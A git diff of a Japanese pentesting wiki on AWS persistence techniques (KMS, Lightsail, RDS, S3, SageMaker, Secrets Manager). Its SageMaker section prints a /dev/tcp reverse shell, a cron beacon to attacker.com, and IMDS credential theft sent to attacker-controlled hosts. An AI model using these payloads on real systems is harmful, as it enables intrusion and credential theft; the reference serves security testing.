+攻撃者は権限 **`kms:PutKeyPolicy`** を使って、自分が制御するユーザーや外部アカウントに対してキーへのアクセスを**付与**することができます。詳細は [**KMS Privesc page**](../../aws-privilege-escalation/aws-kms-privesc/README.md) を確認してください。
+
+### 永続的なGrant
+
+Grantは、principal に対して特定のキーに関する権限を与える別の方法です。ユーザーがgrantを作成できるようにするgrantを付与することも可能です。さらに、あるユーザーは同じキーに対して複数のgrant（同一のものも含めて）を持つことができます。
+
+そのため、あるユーザーが全ての権限を持つ10個のgrantを持つことが可能です。攻撃者はこれを常に監視するべきです。そしてもしある時点で1つのgrantが削除されたら、別の10個を生成すべきです。
+
+（ユーザーがまだいくつかのgrantを持っている間にgrantが削除されたことを検知できるよう、2ではなく10を使用しています）
+```bash
+# To generate grants, generate 10 like this one
+aws kms create-grant \
+--key-id <key-id> \
+--grantee-principal <user_arn> \
+--operations "CreateGrant" "Decrypt"
+
+# To monitor grants
+aws kms list-grants --key-id <key-id>
+```
+> [!NOTE]
+> grant は以下の操作のみについて権限を付与できます: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
deleted file mode 100644
index 7d4fd5e12..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
+++ /dev/null
@@ -1,33 +0,0 @@
-# AWS - Lightsail Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Lightsail
-
-詳細については、次を確認してください：
-
-{{#ref}}
-../aws-services/aws-lightsail-enum.md
-{{#endref}}
-
-### インスタンスのSSHキーとDBパスワードのダウンロード
-
-おそらく変更されないので、持っているだけで持続性のための良いオプションです。
-
-### バックドアインスタンス
-
-攻撃者はインスタンスにアクセスし、バックドアを仕掛けることができます：
-
-- 例えば、従来の**rootkit**を使用する
-- 新しい**公開SSHキー**を追加する
-- バックドアを持つポートノッキングでポートを公開する
-
-### DNS持続性
-
-ドメインが設定されている場合：
-
-- あなたのIPを指すサブドメインを作成し、**サブドメインテイクオーバー**を行う
-- ドメインから**メール**を送信できるようにする**SPF**レコードを作成する
-- **メインドメインのIPを自分のものに設定し**、あなたのIPから正当なものへの**MitM**を実行する
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md
new file mode 100644
index 000000000..832ac57d8
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md
@@ -0,0 +1,33 @@
+# AWS - Lightsail Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Lightsail
+
+For more information check:
+
+{{#ref}}
+../../aws-services/aws-lightsail-enum.md
+{{#endref}}
+
+### インスタンスの SSH keys と DB passwords をダウンロード
+
+それらはおそらく変更されないため、保持しておくことは persistence の良い方法です。
+
+### Backdoor Instances
+
+攻撃者はインスタンスにアクセスして backdoor を仕掛けることができます:
+
+- 例えば、従来の **rootkit** を使用する
+- 新しい **public SSH key** を追加する
+- port knocking を使ってポートを公開し、backdoor を仕込む
+
+### DNS persistence
+
+ドメインが設定されている場合:
+
+- 自分のIPを指すサブドメインを作成し、**subdomain takeover** を実現する
+- ドメインから **emails** を送信できるようにする **SPF** レコードを作成する
+- **main domain IP to your own one** を設定し、自分のIPから正規のものへ **MitM** を実行する
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md
similarity index 51%
rename from src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
rename to src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md
index 854afa4d9..334487f50 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md
@@ -1,27 +1,27 @@
 # AWS - RDS Persistence
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## RDS
 
-詳細については、次を確認してください：
+詳細は以下を参照:
 
 {{#ref}}
-../aws-services/aws-relational-database-rds-enum.md
+../../aws-services/aws-relational-database-rds-enum.md
 {{#endref}}
 
-### インスタンスを公開アクセス可能にする: `rds:ModifyDBInstance`
+### インスタンスをパブリックに公開する: `rds:ModifyDBInstance`
 
-この権限を持つ攻撃者は、**既存のRDSインスタンスを変更して公開アクセスを有効にすることができます**。
+この権限を持つ攻撃者は **既存の RDS インスタンスを変更して公開アクセスを有効にすることができます**。
 ```bash
 aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
 ```
 ### DB内に管理者ユーザーを作成する
 
-攻撃者は単に**DB内にユーザーを作成する**ことができるため、マスターユーザーのパスワードが変更されても**データベースへのアクセスを失うことはありません**。
+攻撃者は単に**DB内にユーザーを作成する**ことで、マスターユーザーのパスワードが変更されてもデータベースへのアクセスを**失わない**。
 
 ### スナップショットを公開する
 ```bash
 aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
deleted file mode 100644
index 9110cf6ea..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
+++ /dev/null
@@ -1,25 +0,0 @@
-# AWS - S3 Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## S3
-
-詳細については、次を確認してください：
-
-{{#ref}}
-../aws-services/aws-s3-athena-and-glacier-enum.md
-{{#endref}}
-
-### KMS クライアントサイド暗号化
-
-暗号化プロセスが完了すると、ユーザーは KMS API を使用して新しいキーを生成します（`aws kms generate-data-key`）そして、**生成された暗号化キーをファイルのメタデータ内に保存します**（[python コード例](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)）ので、復号化が行われるときに再度 KMS を使用して復号化できます：
-
-<figure><img src="../../../images/image (226).png" alt=""><figcaption></figcaption></figure>
-
-したがって、攻撃者はメタデータからこのキーを取得し、KMS（`aws kms decrypt`）を使用して情報を暗号化するために使用されたキーを取得できます。この方法で、攻撃者は暗号化キーを持ち、そのキーが他のファイルを暗号化するために再利用される場合、使用することができます。
-
-### S3 ACL の使用
-
-通常、バケットの ACL は無効になっていますが、十分な権限を持つ攻撃者はそれらを悪用することができます（有効な場合や攻撃者がそれらを有効にできる場合）ので、S3 バケットへのアクセスを維持できます。
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md
new file mode 100644
index 000000000..6d2eeb81e
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md
@@ -0,0 +1,25 @@
+# AWS - S3 永続化
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## S3
+
+詳細は以下を参照してください:
+
+{{#ref}}
+../../aws-services/aws-s3-athena-and-glacier-enum.md
+{{#endref}}
+
+### KMS クライアント側暗号化
+
+暗号化プロセスが完了すると、ユーザは KMS API を使って新しいキーを生成します（`aws kms generate-data-key`）そして**生成した暗号化キーをファイルのメタデータに保存します**（[python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)）ので、復号時に KMS を使って再度復号できます:
+
+<figure><img src="../../../images/image (226).png" alt=""><figcaption></figcaption></figure>
+
+したがって、attacker はメタデータからこのキーを取得し、KMS（`aws kms decrypt`）で復号して、情報を暗号化するために使用されたキーを入手する可能性があります。こうして attacker は暗号化キーを手に入れ、そのキーが他のファイルの暗号化に再利用されていれば、それらの復号にも使用できるようになります。
+
+### S3 ACLs の利用
+
+通常、バケットの ACLs は無効になっていることが多いですが、十分な権限を持つ attacker はそれらを悪用し（有効化されている場合、または attacker が有効化できる場合）、S3 bucket へのアクセスを維持することができます。
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md
deleted file mode 100644
index d117842d2..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md
+++ /dev/null
@@ -1,158 +0,0 @@
-# Aws Sagemaker Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Persistence Techniquesの概要
-
-このセクションでは、Lifecycle Configurations (LCCs)を悪用してSageMakerで永続性を得る方法について説明します。これには、リバースシェル、cronジョブ、IMDSを介した資格情報の盗難、SSHバックドアが含まれます。これらのスクリプトはインスタンスのIAMロールで実行され、再起動を超えて永続化することができます。ほとんどの技術はアウトバウンドネットワークアクセスを必要としますが、AWSコントロールプレーン上のサービスを使用することで、環境が「VPCのみ」モードであっても成功する可能性があります。
-#### 注意: SageMakerノートブックインスタンスは、機械学習ワークロード専用に構成された管理されたEC2インスタンスです。
-
-## 必要な権限
-* ノートブックインスタンス:
-```
-sagemaker:CreateNotebookInstanceLifecycleConfig
-sagemaker:UpdateNotebookInstanceLifecycleConfig
-sagemaker:CreateNotebookInstance
-sagemaker:UpdateNotebookInstance
-```
-* スタジオアプリケーション:
-```
-sagemaker:CreateStudioLifecycleConfig
-sagemaker:UpdateStudioLifecycleConfig
-sagemaker:UpdateUserProfile
-sagemaker:UpdateSpace
-sagemaker:UpdateDomain
-```
-## ノートブックインスタンスのライフサイクル設定
-
-### AWS CLIコマンドの例:
-```bash
-# Create Lifecycle Configuration*
-
-aws sagemaker create-notebook-instance-lifecycle-config \
---notebook-instance-lifecycle-config-name attacker-lcc \
---on-start Content=$(base64 -w0 reverse_shell.sh)
-
-
-# Attach Lifecycle Configuration to Notebook Instance*
-
-aws sagemaker update-notebook-instance \
---notebook-instance-name victim-instance \
---lifecycle-config-name attacker-lcc
-```
-## SageMaker Studioでライフサイクル構成を設定する
-
-ライフサイクル構成は、SageMaker Studio内のさまざまなレベルおよび異なるアプリタイプに添付できます。
-
-### スタジオドメインレベル（すべてのユーザー）
-```bash
-# Create Studio Lifecycle Configuration*
-
-aws sagemaker create-studio-lifecycle-config \
---studio-lifecycle-config-name attacker-studio-lcc \
---studio-lifecycle-config-app-type JupyterServer \
---studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
-
-
-# Apply LCC to entire Studio Domain*
-
-aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
-"JupyterServerAppSettings": {
-"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
-}
-}'
-```
-### スタジオスペースレベル（個別または共有スペース）
-```bash
-# Update SageMaker Studio Space to attach LCC*
-
-aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
-"JupyterServerAppSettings": {
-"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
-}
-}'
-```
-## スタジオアプリケーションライフサイクル構成の種類
-
-ライフサイクル構成は、異なるSageMaker Studioアプリケーションタイプに特に適用できます：
-* JupyterServer: Jupyterサーバーの起動時にスクリプトを実行し、リバースシェルやcronジョブのような永続メカニズムに最適です。
-* KernelGateway: カーネルゲートウェイアプリの起動時に実行され、初期設定や永続的なアクセスに役立ちます。
-* CodeEditor: コードエディタ（Code-OSS）に適用され、コード編集セッションの開始時に実行されるスクリプトを有効にします。
-
-### 各タイプの例コマンド:
-
-### JupyterServer
-```bash
-aws sagemaker create-studio-lifecycle-config \
---studio-lifecycle-config-name attacker-jupyter-lcc \
---studio-lifecycle-config-app-type JupyterServer \
---studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
-```
-### KernelGateway
-```bash
-aws sagemaker create-studio-lifecycle-config \
---studio-lifecycle-config-name attacker-kernelgateway-lcc \
---studio-lifecycle-config-app-type KernelGateway \
---studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
-```
-### CodeEditor
-```bash
-aws sagemaker create-studio-lifecycle-config \
---studio-lifecycle-config-name attacker-codeeditor-lcc \
---studio-lifecycle-config-app-type CodeEditor \
---studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
-```
-### 重要な情報:
-* ドメインまたはスペースレベルでLCCをアタッチすると、範囲内のすべてのユーザーまたはアプリケーションに影響を与えます。
-* より高い権限が必要です（sagemaker:UpdateDomain、sagemaker:UpdateSpace）、通常はドメインレベルよりもスペースレベルで実行可能です。
-* ネットワークレベルの制御（例：厳格な出口フィルタリング）は、成功したリバースシェルやデータの流出を防ぐことができます。
-
-## ライフサイクル構成を介したリバースシェル
-
-SageMakerライフサイクル構成（LCC）は、ノートブックインスタンスが起動するときにカスタムスクリプトを実行します。権限を持つ攻撃者は、持続的なリバースシェルを確立できます。
-
-### ペイロードの例:
-```
-#!/bin/bash
-ATTACKER_IP="<ATTACKER_IP>"
-ATTACKER_PORT="<ATTACKER_PORT>"
-nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
-```
-## Cron Job Persistence via Lifecycle Configuration
-
-攻撃者はLCCスクリプトを通じてcronジョブを注入し、悪意のあるスクリプトやコマンドの定期的な実行を確保し、隠れた持続性を可能にします。
-
-### Payload Example:
-```
-#!/bin/bash
-PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
-CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
-CRON_JOB="*/30 * * * * $CRON_CMD"
-
-mkdir -p /home/ec2-user/SageMaker/.local_tasks
-echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
-chmod +x $PAYLOAD_PATH
-
-(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
-```
-## IMDS（v1 & v2）を介した認証情報の抽出
-
-ライフサイクル構成は、インスタンスメタデータサービス（IMDS）にクエリを送信してIAM認証情報を取得し、それを攻撃者が制御する場所に抽出することができます。
-
-### ペイロードの例:
-```bash
-#!/bin/bash
-ATTACKER_BUCKET="s3://attacker-controlled-bucket"
-TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
-ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
-curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
-
-# Exfiltrate via S3*
-
-aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
-
-# Alternatively, exfiltrate via HTTP POST*
-
-curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md
new file mode 100644
index 000000000..f90edeaed
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md
@@ -0,0 +1,230 @@
+# AWS - SageMaker Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Persistence Techniques の概要
+
+このセクションでは、Lifecycle Configurations (LCCs) を悪用して SageMaker 上で persistence を確保する方法を説明します。対象には reverse shells、cron jobs、credential theft via IMDS、SSH backdoors などが含まれます。これらのスクリプトはインスタンスの IAM role として実行され、再起動後も persistence を維持できます。ほとんどの手法はアウトバウンド ネットワークアクセスを必要としますが、環境が 'VPC-only' モードであっても AWS control plane 上のサービスを利用することで成功する場合があります。
+
+> [!TIP]
+> 注意: SageMaker notebook instances は本質的に、機械学習ワークロード向けに特化した管理された EC2 インスタンスです。
+
+## 必要な権限
+* Notebook Instances:
+```
+sagemaker:CreateNotebookInstanceLifecycleConfig
+sagemaker:UpdateNotebookInstanceLifecycleConfig
+sagemaker:CreateNotebookInstance
+sagemaker:UpdateNotebookInstance
+```
+* Studio アプリケーション:
+```
+sagemaker:CreateStudioLifecycleConfig
+sagemaker:UpdateStudioLifecycleConfig
+sagemaker:UpdateUserProfile
+sagemaker:UpdateSpace
+sagemaker:UpdateDomain
+```
+## ノートブックインスタンスのライフサイクル構成を設定する
+
+### AWS CLI コマンドの例:
+```bash
+# Create Lifecycle Configuration*
+
+aws sagemaker create-notebook-instance-lifecycle-config \
+--notebook-instance-lifecycle-config-name attacker-lcc \
+--on-start Content=$(base64 -w0 reverse_shell.sh)
+
+
+# Attach Lifecycle Configuration to Notebook Instance*
+
+aws sagemaker update-notebook-instance \
+--notebook-instance-name victim-instance \
+--lifecycle-config-name attacker-lcc
+```
+## SageMaker Studio で Lifecycle Configuration を設定する
+
+Lifecycle Configurations は SageMaker Studio 内のさまざまなレベルや異なるアプリタイプにアタッチできます。
+
+### Studio Domain Level（全ユーザー）
+```bash
+# Create Studio Lifecycle Configuration*
+
+aws sagemaker create-studio-lifecycle-config \
+--studio-lifecycle-config-name attacker-studio-lcc \
+--studio-lifecycle-config-app-type JupyterServer \
+--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
+
+
+# Apply LCC to entire Studio Domain*
+
+aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
+"JupyterServerAppSettings": {
+"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
+}
+}'
+```
+### Studio Space レベル（個人または共有スペース）
+```bash
+# Update SageMaker Studio Space to attach LCC*
+
+aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
+"JupyterServerAppSettings": {
+"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
+}
+}'
+```
+## Studio アプリケーションのライフサイクル構成の種類
+
+ライフサイクル構成は、異なる SageMaker Studio アプリケーションタイプに個別に適用できます:
+* JupyterServer: Jupyter server の起動時にスクリプトを実行します。reverse shells や cron jobs のような persistence メカニズムに最適です。
+* KernelGateway: kernel gateway アプリの起動時に実行され、initial setup や persistent access に有用です。
+* CodeEditor: Code Editor (Code-OSS) に適用され、コード編集セッション開始時に実行されるスクリプトを有効にします。
+
+### Example Command for Each Type:
+
+### JupyterServer
+```bash
+aws sagemaker create-studio-lifecycle-config \
+--studio-lifecycle-config-name attacker-jupyter-lcc \
+--studio-lifecycle-config-app-type JupyterServer \
+--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
+```
+### KernelGateway
+```bash
+aws sagemaker create-studio-lifecycle-config \
+--studio-lifecycle-config-name attacker-kernelgateway-lcc \
+--studio-lifecycle-config-app-type KernelGateway \
+--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
+```
+### コードエディタ
+```bash
+aws sagemaker create-studio-lifecycle-config \
+--studio-lifecycle-config-name attacker-codeeditor-lcc \
+--studio-lifecycle-config-app-type CodeEditor \
+--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
+```
+### 重要な情報:
+* ドメインまたはスペースレベルでLCCsをアタッチすると、対象範囲内のすべてのユーザーまたはアプリケーションに影響します。
+* これにはより高い権限（sagemaker:UpdateDomain、sagemaker:UpdateSpace）が必要で、通常はドメインレベルよりスペースレベルでの実行が現実的です。
+* ネットワークレベルの制御（例：strict egress filtering）は、成功するreverse shellsやdata exfiltrationを防ぐことができます。
+
+## Reverse Shell via Lifecycle Configuration
+
+SageMaker Lifecycle Configurations (LCCs) は、notebook instances が起動するとカスタムスクリプトを実行します。権限を持つ攻撃者は永続的な reverse shell を確立できます。
+
+### Payload Example:
+```
+#!/bin/bash
+ATTACKER_IP="<ATTACKER_IP>"
+ATTACKER_PORT="<ATTACKER_PORT>"
+nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
+```
+## Cron Job Persistence via Lifecycle Configuration
+
+攻撃者は LCC scripts を介して cron jobs を注入でき、悪意あるスクリプトやコマンドを定期的に実行させることで、ステルスな persistence を実現できます。
+
+### Payload Example:
+```
+#!/bin/bash
+PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
+CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
+CRON_JOB="*/30 * * * * $CRON_CMD"
+
+mkdir -p /home/ec2-user/SageMaker/.local_tasks
+echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
+chmod +x $PAYLOAD_PATH
+
+(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
+```
+## IMDS (v1 & v2) 経由の資格情報持ち出し
+
+ライフサイクル構成は Instance Metadata Service (IMDS) を照会して IAM 資格情報を取得し、攻撃者が制御する場所に持ち出すことができます。
+
+### ペイロード例:
+```bash
+#!/bin/bash
+ATTACKER_BUCKET="s3://attacker-controlled-bucket"
+TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
+ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
+curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
+
+# Exfiltrate via S3*
+
+aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
+
+# Alternatively, exfiltrate via HTTP POST*
+
+curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
+```
+## Model Registry リソースポリシー経由の永続化 (PutModelPackageGroupPolicy)
+
+SageMaker Model Package Group のリソースベースポリシーを悪用して、外部プリンシパルにクロスアカウント権限（例: CreateModelPackage/Describe/List）を付与します。これにより、攻撃者の IAM ユーザー/ロールが被害者アカウントから削除されても、マルウェア化したモデルのバージョンをプッシュしたり、モデルのメタデータやアーティファクトを読み取ったりできる耐久性のあるバックドアが作成されます。
+
+必要な権限
+- sagemaker:CreateModelPackageGroup
+- sagemaker:PutModelPackageGroupPolicy
+- sagemaker:GetModelPackageGroupPolicy
+
+手順（us-east-1）
+```bash
+# 1) Create a Model Package Group
+REGION=${REGION:-us-east-1}
+MPG=atk-mpg-$(date +%s)
+aws sagemaker create-model-package-group \
+--region "$REGION" \
+--model-package-group-name "$MPG" \
+--model-package-group-description "Test backdoor"
+
+# 2) Craft a cross-account resource policy (replace 111122223333 with attacker account)
+cat > /tmp/mpg-policy.json <<JSON
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "AllowCrossAccountCreateDescribeList",
+"Effect": "Allow",
+"Principal": {"AWS": ["arn:aws:iam::111122223333:root"]},
+"Action": [
+"sagemaker:CreateModelPackage",
+"sagemaker:DescribeModelPackage",
+"sagemaker:DescribeModelPackageGroup",
+"sagemaker:ListModelPackages"
+],
+"Resource": [
+"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package-group/${MPG}",
+"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package/${MPG}/*"
+]
+}
+]
+}
+JSON
+
+# 3) Attach the policy to the group
+aws sagemaker put-model-package-group-policy \
+--region "$REGION" \
+--model-package-group-name "$MPG" \
+--resource-policy "$(jq -c . /tmp/mpg-policy.json)"
+
+# 4) Retrieve the policy (evidence)
+aws sagemaker get-model-package-group-policy \
+--region "$REGION" \
+--model-package-group-name "$MPG" \
+--query ResourcePolicy --output text
+```
+注意
+- 実際のクロスアカウントバックドアの場合、Resource を特定のグループ ARN に限定し、Principal には攻撃者の AWS アカウント ID を使用してください。
+- エンドツーエンドのクロスアカウント展開やアーティファクト読み取りの場合、S3/ECR/KMS の権限を攻撃者のアカウントに合わせて設定してください。
+
+影響
+- Model Registry グループの永続的なクロスアカウント制御: 攻撃者は悪意のあるモデルバージョンを公開したり、被害者アカウントで IAM エンティティが削除された後でもモデルのメタデータを列挙/読み取ることができます。
+
+## Canvas のクロスアカウント Model Registry バックドア (UpdateUserProfile.ModelRegisterSettings)
+
+SageMaker Canvas のユーザー設定を悪用し、ModelRegisterSettings を有効にして CrossAccountModelRegisterRoleArn を別アカウントの攻撃者ロールに指定することで、model registry への書き込みを攻撃者が制御するアカウントに密かにリダイレクトします。
+
+必要な権限
+- ターゲットの UserProfile に対する sagemaker:UpdateUserProfile
+- オプション: 自分が管理する Domain に対する sagemaker:CreateUserProfile
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
deleted file mode 100644
index b49b56ee6..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
+++ /dev/null
@@ -1,51 +0,0 @@
-# AWS - Secrets Manager Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Secrets Manager
-
-詳細については、以下を確認してください：
-
-{{#ref}}
-../aws-services/aws-secrets-manager-enum.md
-{{#endref}}
-
-### リソースポリシーを介して
-
-リソースポリシーを介して**外部アカウントにシークレットへのアクセスを付与する**ことが可能です。詳細については[**Secrets Manager Privesc page**](../aws-privilege-escalation/aws-secrets-manager-privesc.md)を確認してください。**シークレットにアクセスする**には、外部アカウントも**シークレットを暗号化しているKMSキーへのアクセスが必要**です。
-
-### Secrets Rotate Lambdaを介して
-
-シークレットを自動的に**ローテーション**するために、設定された**Lambda**が呼び出されます。攻撃者が**コードを変更**できれば、直接**新しいシークレットを自分に流出**させることができます。
-
-このようなアクションのためのlambdaコードは次のようになります：
-```python
-import boto3
-
-def rotate_secrets(event, context):
-# Create a Secrets Manager client
-client = boto3.client('secretsmanager')
-
-# Retrieve the current secret value
-secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
-
-# Rotate the secret by updating its value
-new_secret_value = rotate_secret(secret_value)
-client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
-
-def rotate_secret(secret_value):
-# Perform the rotation logic here, e.g., generate a new password
-
-# Example: Generate a new password
-new_secret_value = generate_password()
-
-return new_secret_value
-
-def generate_password():
-# Example: Generate a random password using the secrets module
-import secrets
-import string
-password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
-return password
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md
new file mode 100644
index 000000000..10b943503
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md
@@ -0,0 +1,235 @@
+# AWS - Secrets Manager Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Secrets Manager
+
+詳細は以下を参照してください：
+
+{{#ref}}
+../../aws-services/aws-secrets-manager-enum.md
+{{#endref}}
+
+### Via Resource Policies
+
+Resource policies を介して外部アカウントに **secrets へのアクセスを付与することが可能** です。詳細は [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) を確認してください。外部アカウントが **secret にアクセスするためには**、その secret を暗号化している **KMS key へのアクセスも必要**である点に注意してください。
+
+### Via Secrets Rotate Lambda
+
+secrets を自動的に回転させるために設定された Lambda が呼び出されます。攻撃者が Lambda の code を変更できれば、新しい secret を直接自分に exfiltrate することができます。
+
+This is how lambda code for such action could look like:
+```python
+import boto3
+
+def rotate_secrets(event, context):
+# Create a Secrets Manager client
+client = boto3.client('secretsmanager')
+
+# Retrieve the current secret value
+secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
+
+# Rotate the secret by updating its value
+new_secret_value = rotate_secret(secret_value)
+client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
+
+def rotate_secret(secret_value):
+# Perform the rotation logic here, e.g., generate a new password
+
+# Example: Generate a new password
+new_secret_value = generate_password()
+
+return new_secret_value
+
+def generate_password():
+# Example: Generate a random password using the secrets module
+import secrets
+import string
+password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
+return password
+```
+{{#include ../../../../banners/hacktricks-training.md}}
+
+
+
+
+
+### RotateSecret を介してローテーション Lambda を攻撃者制御の関数に差し替える
+
+Abuse `secretsmanager:RotateSecret` を使って、シークレットを攻撃者制御のローテーション Lambda に再バインドし、即時ローテーションをトリガーします。悪意のある関数はローテーションの各ステップ（createSecret/setSecret/testSecret/finishSecret）でシークレットのバージョン（AWSCURRENT/AWSPENDING）を攻撃者の受け取り先（例：S3 や外部 HTTP）へ exfiltrates します。
+
+- 要件
